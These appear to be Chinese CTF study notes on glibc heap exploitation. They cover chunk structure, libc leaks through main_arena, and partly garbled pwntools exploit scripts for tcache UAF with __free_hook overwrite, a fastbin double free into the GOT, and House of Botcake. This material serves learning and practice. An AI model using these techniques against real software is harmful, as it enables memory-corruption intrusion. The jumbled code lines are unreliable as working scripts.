堆知识合集一
由于许久没有看堆题了,打算多做点题整理整理
题目方面主要以hgame
和ctf_all_in_one
中例题为例子
chunk结构
贴一下学习的师傅文章
https://www.jianshu.com/p/484926468136
https://blog.csdn.net/qq_39563369/article/details/103943077
使用中的chunk

free chunk

/*
This struct declaration is misleading (but accurate and necessary).
It declares a "view" into memory allowing access to necessary
fields at known offsets from a given base. See explanation below.
*/
struct malloc_chunk {
/* Size of previous chunk (if free). */
INTERNAL_SIZE_T prev_size; /* Size in bytes, including overhead. */
INTERNAL_SIZE_T size;
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
struct malloc_chunk*
是定义指针,定义的变量大小在32位系统占4个字节,在64位占8个字节。INTERNAL_SIZE_T
:被定义为size_t
,在32位系统上是32位无符号整数(4bytes
),在64位系统上是64位无符号整数(8bytes
)
泄露libc
知道libc
版本
通过将freebin
加入到unsortedbin
,此时unsorted
的freebin
中的fd
即可泄露libc
中的main_arena
地址
可通过gdb
中的vmmap
查看libc
计算相对地址
= u64(r.recvuntil(b'1.')[1:-3].ljust(8,b'\x00'))
main_arena_addr = main_arena_addr - 0x3c4b78
libc_addr = libc_addr libc.address
distance
计算偏移
不知道libc
版本
利用LibcSearcher
搜索 __malloc_hook
的地址
= u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 96 #固定的96偏移
main_arena_addr = main_arena_addr - 0x10 #再减0x10就到 __malloc_hook
malloc_hook_addr =LibcSearcher('__malloc_hook',malloc_hook_addr) #LibcSearcher
libc= malloc_hook_addr - libc.dump('__malloc_hook')
offset = offset + libc.dump('system')
system_addr = offset + libc.dump('__free_hook') free_hook
题目思路合集
在泄露了libc
地址之后
Freehook + UAF -- hgame editable_note
for i in range(9):
0x80)
add_note(i,for i in range(8):
delete_note(i)7)
show_note(= 0x1ECB80 + 88 + 8
libc_main_arena = u64(r.recvuntil(b'1.')[1:-3].ljust(8,b'\x00'))
main_arena_addr = main_arena_addr - libc_main_arena
libc_addr #泄露libc---------------------------------------------
=libc_addr
libc.address= libc.sym['system']
system_addr = libc.sym['__free_hook']
free_hook # one_gadget_addr = libc_addr + 0xe3b04
6,p64(free_hook))#UAF 把tcache[6]中的next指针覆写为free_hook_addr
edit_note(9,0x80) #9为从tcache[6]申请的chunk,因为覆写的是next
add_note(10,0x80) #10为 malloc返回的free_hook的指针
add_note(9,b'/bin/sh\x00') #向system传参
edit_note(10,p64(system_addr))#向free_hook中写入system地址
edit_note(9) delete_note(
FastBin + DoubleFree -- hgame fast_note
0,0x80,b'A'*0x80) #大于fastbin
add(1,0x80,b'A'*0x80) #避免合并到top chunk
add(#----泄露libc
2,0x50,b'A'* 0x50)
add(3,0x50,b'A'* 0x50)
add(4,0x10,b'/bin/sh\x00')
add(0)
delete(0)
show(
= u64(r.recvuntil(b'1.')[1:-3].ljust(8,b'\x00'))
main_arena_addr = main_arena_addr - 0x3c4b78
libc_addr = libc_addr
libc.address = libc.sym['system']
system_addr = elf.got['free']
free_addr #----泄露libc
2)
delete(3)
delete(2) delete(


UAF
解释 此处将重新申请chunk
并填充地址,实际上是修改了作为free chunk
的0x25fc180
的fd
而后再次申请便是在0x25fc180
之后的fd
的chunk
便是在0x601ffa
上了
#fastbin 后进先出
# 0x602018 free_got
5,0x50,p64(0x602002-8)) #向fastbin next写入got表地址
add(6,0x50,b'A'* 0x50)
add(7,0x50,b'A'* 0x50)
add(
gdb.attach(r)
pause()8,0x50,b'\x00'*14+p64(system_addr)) #申请的fastbin指向free_got
add(#此处的14 应该为 0x602018 - 0x601ffa -0x10头大小
4)
delete(#free且传参/bin/sh
#---------------
#此处为什么不直接用0x602018 -0x10呢?
#因为要符合free chunk的申请的size验证
#利用 x /10gx 0x602018 -0x10 查看
//此时size位虽然为0x3168000000000060
//由于下面malloc源码中 fastbin的fastbin_index计算
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{"malloc(): memory corruption (fast)";
errstr = //其中fastbin_index定义有
#define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
//解释
//宏 fastbin_index(sz)用于获得 fast bin 在 fast bins 数组中的 index,由于 bin[0]和 bin[1]中 的chunk不存在,所以需要减2,对于SIZE_SZ为4B的平台,将sz除以8减2得到fast bin index, 对于 SIZE_SZ 为 8B 的平台,将 sz 除以 16 减去 2 得到 fast bin index。
//同时由于(unsigned int)(sz)的原因,对应64程序只取size的低4字节,所以我们在利用寻找合适size的时候,类似这种情况(0x3168000000000060)也行,它等同于size=0x60
//unsigned int 在64位程序下只取低4字节
//所以此处可以分配fastbin而不会报错!
源码调试
pwndbg
自动读取工作目录下源码r = gdb.debug('./vuln', 'set debug-file-directory debug/')``gdb
启动程序,而不是attach
,并设置调试信息- 放
glibc-all-in-one
的调试信息 即.debug
文件夹

House Of Botcake -- new_fast_note
for i in range(10):
0x80,b'0')
add(i,for i in range(7):
delete(i)8)
delete(8) #将chunk8进入unsorted bin中
show(= u64(r.recvuntil(b'1.')[1:-3].ljust(8,b'\x00'))
main_arena_addr print(f'main_arena_addr = {hex(main_arena_addr)}')
= main_arena_addr - 0x1ecbe0
libc_addr = libc_addr
libc.address = libc.sym['system']
system_addr #-----------------------libc泄露
注意与下面的截图 对比大小与地址,malloc_consolidate
块合并?
#House of botcake (glibc > 2.25 且 UAF)
#unsortedbin先进先出
#tcachebins 先进后出
7) #将chunk7进入unsorted bin中 与8合并 与8合并但是 7开头
delete(10,0x80,b'0') #将tcache bin中腾出空间
add(8) #将chunk8 加入tcache中 double free
delete(11,0xff,b'\x00'*0x80+p64(0)+p64(0x91)+p64(libc.sym['__free_hook'])+b'\x00'*7) #写入到Tcache next中 通过 x /20gx addr + 大小来查看推算
add(12,0x80,b'/bin/sh\x00')#将tcache中下一个变为free hook
add(13,0x80,p64(system_addr))#写free_hook
add(12) delete(


